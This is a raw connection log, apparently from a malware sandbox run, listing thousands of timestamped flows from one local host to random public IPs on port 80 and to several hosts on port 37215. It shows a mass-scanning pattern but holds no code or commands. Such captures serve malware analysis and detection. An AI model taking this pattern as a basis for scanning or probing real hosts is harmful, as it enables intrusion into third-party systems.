Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	60.133.127.31
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	23.201.88.210
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	122.233.195.204
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	43.217.186.159
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	205.51.141.17
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	102.134.14.80
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	189.139.128.47
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	163.162.74.196
Dec 3, 2024 23:16:47.842595100 CET	40596	80	192.168.2.23	202.92.111.5
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	135.126.138.238
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	105.153.231.139
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	101.135.203.60
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	40.221.20.126
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	189.224.40.88
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	158.172.48.239
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	50.39.214.100
Dec 3, 2024 23:16:47.842628002 CET	40596	80	192.168.2.23	80.39.190.121
Dec 3, 2024 23:16:47.842628002 CET	40596	80	192.168.2.23	19.59.193.228
Dec 3, 2024 23:16:47.842628002 CET	40596	80	192.168.2.23	158.52.8.247
Dec 3, 2024 23:16:47.842628002 CET	40596	80	192.168.2.23	87.182.8.189
Dec 3, 2024 23:16:47.842667103 CET	40596	80	192.168.2.23	191.53.204.101
Dec 3, 2024 23:16:47.842667103 CET	40596	80	192.168.2.23	218.57.162.208
Dec 3, 2024 23:16:47.842667103 CET	40596	80	192.168.2.23	141.194.26.150
Dec 3, 2024 23:16:47.842667103 CET	40596	80	192.168.2.23	53.236.52.13
Dec 3, 2024 23:16:47.842667103 CET	40596	80	192.168.2.23	93.66.219.119
Dec 3, 2024 23:16:47.842667103 CET	40596	80	192.168.2.23	80.254.110.176
Dec 3, 2024 23:16:47.842667103 CET	40596	80	192.168.2.23	205.246.28.34
Dec 3, 2024 23:16:47.842667103 CET	40596	80	192.168.2.23	173.185.22.183
Dec 3, 2024 23:16:47.842669964 CET	40596	80	192.168.2.23	123.44.203.78
Dec 3, 2024 23:16:47.842669964 CET	40596	80	192.168.2.23	189.111.205.148
Dec 3, 2024 23:16:47.842669964 CET	40596	80	192.168.2.23	189.26.91.179
Dec 3, 2024 23:16:47.842669964 CET	40596	80	192.168.2.23	217.4.52.252
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	222.79.252.253
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	63.123.21.31
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	204.213.42.152
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	179.2.56.224
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	198.49.157.191
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	116.78.30.244
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	18.35.79.146
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	120.221.92.168
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	175.215.111.60
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	84.213.254.202
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	220.146.78.181
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	41.46.128.63
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	206.204.40.249
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	193.81.46.47
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	194.132.115.231
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	134.161.29.96
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	175.26.77.208
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	91.45.72.88
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	119.80.202.86
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	81.245.188.189
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	154.6.117.151
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	128.20.187.191
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	120.93.6.249
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	186.243.86.156
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	67.13.29.139
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	47.129.221.224
Dec 3, 2024 23:16:47.842679024 CET	40596	80	192.168.2.23	201.167.102.53
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	129.73.233.32
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	200.153.189.208
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	13.99.57.116
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	132.195.135.165
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	164.20.138.237
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	12.147.110.38
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	206.167.72.206
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	52.53.39.160
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	181.34.71.152
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	203.40.50.241
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	195.246.36.158
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	38.55.237.7
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	51.103.244.66
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	37.118.7.244
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	190.211.220.213
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	198.157.103.169
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	205.29.168.30
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	108.223.60.207
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	162.205.93.57
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	135.66.28.58
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	12.104.138.227
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	153.55.158.227
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	196.28.52.17
Dec 3, 2024 23:16:47.842704058 CET	40596	80	192.168.2.23	111.63.229.244
Dec 3, 2024 23:16:47.842684984 CET	40596	80	192.168.2.23	221.231.141.185
Dec 3, 2024 23:16:47.842704058 CET	40596	80	192.168.2.23	99.48.224.92
Dec 3, 2024 23:16:47.842684031 CET	40596	80	192.168.2.23	173.129.108.108
Dec 3, 2024 23:16:47.842710018 CET	40596	80	192.168.2.23	62.239.62.245
Dec 3, 2024 23:16:47.842710018 CET	40596	80	192.168.2.23	31.18.16.223
Dec 3, 2024 23:16:47.842710018 CET	40596	80	192.168.2.23	120.141.51.50
Dec 3, 2024 23:16:47.842710018 CET	40596	80	192.168.2.23	123.43.114.236
Dec 3, 2024 23:16:47.842710018 CET	40596	80	192.168.2.23	163.255.56.11
Dec 3, 2024 23:16:47.842710018 CET	40596	80	192.168.2.23	47.250.247.53
Dec 3, 2024 23:16:47.842720032 CET	40596	80	192.168.2.23	164.97.21.43
Dec 3, 2024 23:16:47.842720032 CET	40596	80	192.168.2.23	155.140.137.99
Dec 3, 2024 23:16:47.842720032 CET	40596	80	192.168.2.23	158.10.48.75
Dec 3, 2024 23:16:47.842720032 CET	40596	80	192.168.2.23	137.100.85.94
Dec 3, 2024 23:16:47.842720032 CET	40596	80	192.168.2.23	17.135.201.230
Dec 3, 2024 23:16:47.842720985 CET	40596	80	192.168.2.23	145.82.69.202
Dec 3, 2024 23:16:47.842720032 CET	40596	80	192.168.2.23	143.196.244.243
Dec 3, 2024 23:16:47.842720985 CET	40596	80	192.168.2.23	92.27.101.217
Dec 3, 2024 23:16:47.842720985 CET	40596	80	192.168.2.23	208.143.211.76
Dec 3, 2024 23:16:47.842720985 CET	40596	80	192.168.2.23	170.9.16.222
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	124.152.177.85
Dec 3, 2024 23:16:47.842720985 CET	40596	80	192.168.2.23	210.163.104.205
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	68.66.62.130
Dec 3, 2024 23:16:47.842720032 CET	40596	80	192.168.2.23	126.35.63.187
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	118.136.225.173
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	180.99.22.246
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	76.36.125.9
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	118.216.166.140
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	79.27.164.64
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	43.114.173.151
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	106.111.216.7
Dec 3, 2024 23:16:47.842720985 CET	40596	80	192.168.2.23	102.48.1.93
Dec 3, 2024 23:16:47.842720985 CET	40596	80	192.168.2.23	73.227.54.128
Dec 3, 2024 23:16:47.842720985 CET	40596	80	192.168.2.23	66.68.47.217
Dec 3, 2024 23:16:47.842720032 CET	40596	80	192.168.2.23	139.146.194.179
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	140.238.148.171
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	128.143.45.110
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	109.92.66.5
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	136.25.161.245
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	150.255.5.138
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	152.123.62.46
Dec 3, 2024 23:16:47.842740059 CET	40596	80	192.168.2.23	138.125.203.185
Dec 3, 2024 23:16:47.842741013 CET	40596	80	192.168.2.23	188.105.32.239
Dec 3, 2024 23:16:47.842740059 CET	40596	80	192.168.2.23	54.70.45.91
Dec 3, 2024 23:16:47.842744112 CET	40596	80	192.168.2.23	18.158.140.57
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	151.205.148.138
Dec 3, 2024 23:16:47.842739105 CET	40596	80	192.168.2.23	78.244.225.24
Dec 3, 2024 23:16:47.842746019 CET	40596	80	192.168.2.23	73.244.60.154
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	165.87.167.152
Dec 3, 2024 23:16:47.842741013 CET	40596	80	192.168.2.23	198.217.98.194
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	221.217.133.210
Dec 3, 2024 23:16:47.842739105 CET	40596	80	192.168.2.23	108.83.144.160
Dec 3, 2024 23:16:47.842746019 CET	40596	80	192.168.2.23	218.215.116.230
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	200.149.217.217
Dec 3, 2024 23:16:47.842739105 CET	40596	80	192.168.2.23	154.231.212.205
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	192.156.98.85
Dec 3, 2024 23:16:47.842746019 CET	40596	80	192.168.2.23	178.134.249.142
Dec 3, 2024 23:16:47.842741013 CET	40596	80	192.168.2.23	1.200.169.104
Dec 3, 2024 23:16:47.842739105 CET	40596	80	192.168.2.23	60.144.251.120
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	46.35.220.151
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	206.89.212.193
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	136.242.23.13
Dec 3, 2024 23:16:47.842740059 CET	40596	80	192.168.2.23	74.105.2.23
Dec 3, 2024 23:16:47.842721939 CET	40596	80	192.168.2.23	102.76.201.198
Dec 3, 2024 23:16:47.842740059 CET	40596	80	192.168.2.23	134.167.193.190
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	207.122.88.10
Dec 3, 2024 23:16:47.842740059 CET	40596	80	192.168.2.23	1.48.151.51
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	193.25.60.142
Dec 3, 2024 23:16:47.842740059 CET	40596	80	192.168.2.23	9.249.47.243
Dec 3, 2024 23:16:47.842737913 CET	40596	80	192.168.2.23	128.253.110.167
Dec 3, 2024 23:16:47.842740059 CET	40596	80	192.168.2.23	166.190.87.50
Dec 3, 2024 23:16:47.842740059 CET	40596	80	192.168.2.23	153.250.242.214
Dec 3, 2024 23:16:47.842763901 CET	40596	80	192.168.2.23	207.111.83.51
Dec 3, 2024 23:16:47.842763901 CET	40596	80	192.168.2.23	173.255.71.239
Dec 3, 2024 23:16:47.842763901 CET	40596	80	192.168.2.23	96.109.228.98
Dec 3, 2024 23:16:47.842763901 CET	40596	80	192.168.2.23	197.36.106.242
Dec 3, 2024 23:16:47.842762947 CET	40596	80	192.168.2.23	180.80.5.227
Dec 3, 2024 23:16:47.842762947 CET	40596	80	192.168.2.23	219.219.90.158
Dec 3, 2024 23:16:47.842762947 CET	40596	80	192.168.2.23	108.59.155.142
Dec 3, 2024 23:16:47.842771053 CET	40596	80	192.168.2.23	101.132.169.58
Dec 3, 2024 23:16:47.842771053 CET	40596	80	192.168.2.23	183.78.16.128
Dec 3, 2024 23:16:47.842771053 CET	40596	80	192.168.2.23	183.48.250.114
Dec 3, 2024 23:16:47.842771053 CET	40596	80	192.168.2.23	46.32.27.168
Dec 3, 2024 23:16:47.842771053 CET	40596	80	192.168.2.23	49.101.193.214
Dec 3, 2024 23:16:47.842771053 CET	40596	80	192.168.2.23	172.199.99.201
Dec 3, 2024 23:16:47.842771053 CET	40596	80	192.168.2.23	87.196.155.210
Dec 3, 2024 23:16:47.842772961 CET	40596	80	192.168.2.23	151.199.222.72
Dec 3, 2024 23:16:47.842772961 CET	40596	80	192.168.2.23	52.44.212.4
Dec 3, 2024 23:16:47.842773914 CET	40596	80	192.168.2.23	142.35.252.235
Dec 3, 2024 23:16:47.842777014 CET	40596	80	192.168.2.23	106.163.234.145
Dec 3, 2024 23:16:47.842777014 CET	40596	80	192.168.2.23	121.28.177.205
Dec 3, 2024 23:16:47.842777014 CET	40596	80	192.168.2.23	183.70.126.239
Dec 3, 2024 23:16:47.842777014 CET	40596	80	192.168.2.23	40.226.74.23
Dec 3, 2024 23:16:47.842780113 CET	40596	80	192.168.2.23	159.126.60.252
Dec 3, 2024 23:16:47.842780113 CET	40596	80	192.168.2.23	45.239.146.24
Dec 3, 2024 23:16:47.842780113 CET	40596	80	192.168.2.23	117.24.128.11
Dec 3, 2024 23:16:47.842780113 CET	40596	80	192.168.2.23	93.151.38.153
Dec 3, 2024 23:16:47.842782021 CET	40596	80	192.168.2.23	145.201.108.248
Dec 3, 2024 23:16:47.842782021 CET	40596	80	192.168.2.23	195.188.213.74
Dec 3, 2024 23:16:47.842782021 CET	40596	80	192.168.2.23	144.163.134.104
Dec 3, 2024 23:16:47.842782021 CET	40596	80	192.168.2.23	46.129.246.85
Dec 3, 2024 23:16:47.842782021 CET	40596	80	192.168.2.23	13.122.145.133
Dec 3, 2024 23:16:47.842794895 CET	40596	80	192.168.2.23	117.29.132.163
Dec 3, 2024 23:16:47.842794895 CET	40596	80	192.168.2.23	188.196.21.122
Dec 3, 2024 23:16:47.842794895 CET	40596	80	192.168.2.23	209.138.139.114
Dec 3, 2024 23:16:47.842794895 CET	40596	80	192.168.2.23	94.22.250.128
Dec 3, 2024 23:16:47.842794895 CET	40596	80	192.168.2.23	159.23.2.43
Dec 3, 2024 23:16:47.842794895 CET	40596	80	192.168.2.23	47.247.202.231
Dec 3, 2024 23:16:47.842794895 CET	40596	80	192.168.2.23	71.200.143.120
Dec 3, 2024 23:16:47.842796087 CET	40596	80	192.168.2.23	117.236.52.135
Dec 3, 2024 23:16:47.842797041 CET	40596	80	192.168.2.23	139.121.165.254
Dec 3, 2024 23:16:47.842797041 CET	40596	80	192.168.2.23	25.155.66.72
Dec 3, 2024 23:16:47.842797041 CET	40596	80	192.168.2.23	126.14.79.171
Dec 3, 2024 23:16:47.842797041 CET	40596	80	192.168.2.23	201.19.41.99
Dec 3, 2024 23:16:47.842797041 CET	40596	80	192.168.2.23	119.101.209.30
Dec 3, 2024 23:16:47.842809916 CET	40596	80	192.168.2.23	210.192.66.23
Dec 3, 2024 23:16:47.842809916 CET	40596	80	192.168.2.23	119.52.121.3
Dec 3, 2024 23:16:47.842813015 CET	40596	80	192.168.2.23	180.74.90.127
Dec 3, 2024 23:16:47.842813969 CET	40596	80	192.168.2.23	19.172.34.167
Dec 3, 2024 23:16:47.842814922 CET	40596	80	192.168.2.23	148.49.96.141
Dec 3, 2024 23:16:47.842814922 CET	40596	80	192.168.2.23	221.82.3.130
Dec 3, 2024 23:16:47.842814922 CET	40596	80	192.168.2.23	199.171.90.3
Dec 3, 2024 23:16:47.842814922 CET	40596	80	192.168.2.23	82.106.229.179
Dec 3, 2024 23:16:47.851857901 CET	37215	55264	197.25.172.124	192.168.2.23
Dec 3, 2024 23:16:47.851891994 CET	37215	33594	197.184.110.72	192.168.2.23
Dec 3, 2024 23:16:47.855973959 CET	37215	58794	197.57.240.239	192.168.2.23
Dec 3, 2024 23:16:47.867743015 CET	80	44912	176.88.220.123	192.168.2.23
Dec 3, 2024 23:16:47.867841005 CET	44912	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:47.868330002 CET	80	40482	14.2.153.102	192.168.2.23
Dec 3, 2024 23:16:47.868381977 CET	40482	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:47.870953083 CET	80	53122	170.152.121.169	192.168.2.23
Dec 3, 2024 23:16:47.871268988 CET	80	53620	170.152.121.169	192.168.2.23
Dec 3, 2024 23:16:47.871319056 CET	53620	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:47.871345997 CET	53620	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:47.879869938 CET	80	59074	155.203.22.126	192.168.2.23
Dec 3, 2024 23:16:47.903374910 CET	80	44818	45.40.116.252	192.168.2.23
Dec 3, 2024 23:16:47.903441906 CET	44818	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:47.911453009 CET	42638	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:47.911453009 CET	58128	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:47.911458015 CET	58900	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:47.911458015 CET	35012	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:47.911463022 CET	46408	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:47.911463022 CET	36340	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:47.911463022 CET	48110	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:47.911463022 CET	57340	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:47.911472082 CET	60312	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:47.911477089 CET	58364	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:47.911477089 CET	43962	80	192.168.2.23	107.26.129.146
Dec 3, 2024 23:16:47.911478043 CET	41030	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:47.911478996 CET	41216	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:47.911478996 CET	60208	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:47.911484957 CET	58320	80	192.168.2.23	37.79.12.216
Dec 3, 2024 23:16:47.911485910 CET	41526	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:47.911492109 CET	56432	80	192.168.2.23	49.188.188.233
Dec 3, 2024 23:16:47.911494970 CET	59108	80	192.168.2.23	110.77.100.173
Dec 3, 2024 23:16:47.911495924 CET	55916	80	192.168.2.23	97.41.29.227
Dec 3, 2024 23:16:47.913275003 CET	80	53122	170.152.121.169	192.168.2.23
Dec 3, 2024 23:16:47.933557034 CET	37215	33616	197.184.110.72	192.168.2.23
Dec 3, 2024 23:16:47.933600903 CET	33616	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.934185982 CET	37215	55286	197.25.172.124	192.168.2.23
Dec 3, 2024 23:16:47.934323072 CET	55286	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.934669971 CET	37215	58816	197.57.240.239	192.168.2.23
Dec 3, 2024 23:16:47.934734106 CET	58816	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.966036081 CET	80	40596	137.96.172.137	192.168.2.23
Dec 3, 2024 23:16:47.966057062 CET	80	40596	158.229.16.172	192.168.2.23
Dec 3, 2024 23:16:47.966072083 CET	80	40596	65.196.231.131	192.168.2.23
Dec 3, 2024 23:16:47.966084003 CET	80	40596	80.213.14.165	192.168.2.23
Dec 3, 2024 23:16:47.966095924 CET	40596	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:47.966099024 CET	80	40596	149.214.222.91	192.168.2.23
Dec 3, 2024 23:16:47.966121912 CET	40596	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:47.966133118 CET	80	40596	131.115.153.201	192.168.2.23
Dec 3, 2024 23:16:47.966140032 CET	40596	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:47.966142893 CET	80	40596	14.201.184.218	192.168.2.23
Dec 3, 2024 23:16:47.966152906 CET	40596	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:47.966154099 CET	80	40596	134.104.83.77	192.168.2.23
Dec 3, 2024 23:16:47.966166973 CET	80	40596	41.76.192.116	192.168.2.23
Dec 3, 2024 23:16:47.966170073 CET	40596	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:47.966175079 CET	80	59672	155.203.22.126	192.168.2.23
Dec 3, 2024 23:16:47.966187954 CET	40596	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:47.966190100 CET	40596	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:47.966190100 CET	40596	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:47.966221094 CET	59672	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:47.966228008 CET	40596	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:47.966322899 CET	80	40596	154.175.128.164	192.168.2.23
Dec 3, 2024 23:16:47.966336012 CET	80	40596	112.198.79.120	192.168.2.23
Dec 3, 2024 23:16:47.966345072 CET	80	40596	199.96.168.179	192.168.2.23
Dec 3, 2024 23:16:47.966353893 CET	80	40596	64.184.219.41	192.168.2.23
Dec 3, 2024 23:16:47.966362953 CET	40596	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:47.966382980 CET	40596	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:47.966407061 CET	40596	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:47.966418028 CET	40596	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:47.995779037 CET	80	53620	170.152.121.169	192.168.2.23
Dec 3, 2024 23:16:47.995842934 CET	53620	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:48.035229921 CET	80	42638	177.95.70.145	192.168.2.23
Dec 3, 2024 23:16:48.035303116 CET	80	58900	181.16.202.67	192.168.2.23
Dec 3, 2024 23:16:48.035315990 CET	80	35012	116.59.162.85	192.168.2.23
Dec 3, 2024 23:16:48.035341024 CET	80	58128	192.62.46.240	192.168.2.23
Dec 3, 2024 23:16:48.035428047 CET	42638	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:48.035429001 CET	58128	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:48.035445929 CET	80	36340	88.109.144.121	192.168.2.23
Dec 3, 2024 23:16:48.035456896 CET	80	46408	107.254.158.162	192.168.2.23
Dec 3, 2024 23:16:48.035486937 CET	58900	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:48.035490036 CET	36340	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:48.035502911 CET	46408	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:48.035515070 CET	80	48110	75.96.152.124	192.168.2.23
Dec 3, 2024 23:16:48.035540104 CET	35012	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:48.035554886 CET	48110	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:48.035573959 CET	80	57340	186.45.45.229	192.168.2.23
Dec 3, 2024 23:16:48.035614967 CET	57340	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:48.035906076 CET	44924	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:48.036694050 CET	54912	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:48.037365913 CET	60642	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:48.037997961 CET	60744	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:48.038629055 CET	40216	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:48.039267063 CET	47328	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:48.039432049 CET	48502	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:48.039432049 CET	55456	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:48.039433956 CET	41418	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:48.039444923 CET	48388	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:48.039454937 CET	50374	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:48.039457083 CET	41142	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:48.039457083 CET	45140	80	192.168.2.23	2.3.255.80
Dec 3, 2024 23:16:48.039464951 CET	33472	80	192.168.2.23	150.98.153.129
Dec 3, 2024 23:16:48.039465904 CET	52862	80	192.168.2.23	78.175.166.148
Dec 3, 2024 23:16:48.039468050 CET	60198	80	192.168.2.23	193.4.84.215
Dec 3, 2024 23:16:48.039469957 CET	51556	80	192.168.2.23	65.134.120.240
Dec 3, 2024 23:16:48.039489985 CET	40246	80	192.168.2.23	54.121.203.185
Dec 3, 2024 23:16:48.039500952 CET	40158	80	192.168.2.23	118.75.66.207
Dec 3, 2024 23:16:48.039500952 CET	35458	80	192.168.2.23	8.178.80.133
Dec 3, 2024 23:16:48.039500952 CET	44954	80	192.168.2.23	186.233.149.159
Dec 3, 2024 23:16:48.039501905 CET	48738	80	192.168.2.23	221.121.252.179
Dec 3, 2024 23:16:48.039501905 CET	46944	80	192.168.2.23	39.182.226.45
Dec 3, 2024 23:16:48.039503098 CET	45804	80	192.168.2.23	52.61.181.250
Dec 3, 2024 23:16:48.039503098 CET	42510	80	192.168.2.23	206.75.216.146
Dec 3, 2024 23:16:48.039511919 CET	34326	80	192.168.2.23	206.250.179.71
Dec 3, 2024 23:16:48.039511919 CET	58224	80	192.168.2.23	83.9.13.122
Dec 3, 2024 23:16:48.039515972 CET	36606	80	192.168.2.23	95.62.186.222
Dec 3, 2024 23:16:48.039515972 CET	44452	80	192.168.2.23	163.98.215.184
Dec 3, 2024 23:16:48.039542913 CET	36652	80	192.168.2.23	2.31.19.249
Dec 3, 2024 23:16:48.040256977 CET	44158	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:48.040930033 CET	46904	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:48.041603088 CET	37540	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:48.042268038 CET	44118	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:48.042929888 CET	50074	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:48.043601990 CET	36494	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:48.044244051 CET	33170	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:48.044792891 CET	58128	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:48.044811964 CET	58128	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:48.045120955 CET	58302	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:48.045500994 CET	42638	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:48.045520067 CET	42638	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:48.045824051 CET	42810	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:48.046257019 CET	57340	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:48.046274900 CET	57340	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:48.046546936 CET	57528	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:48.046911001 CET	48110	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:48.046926022 CET	48110	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:48.047230005 CET	48296	80	192.168.2.23	75.96.152.124
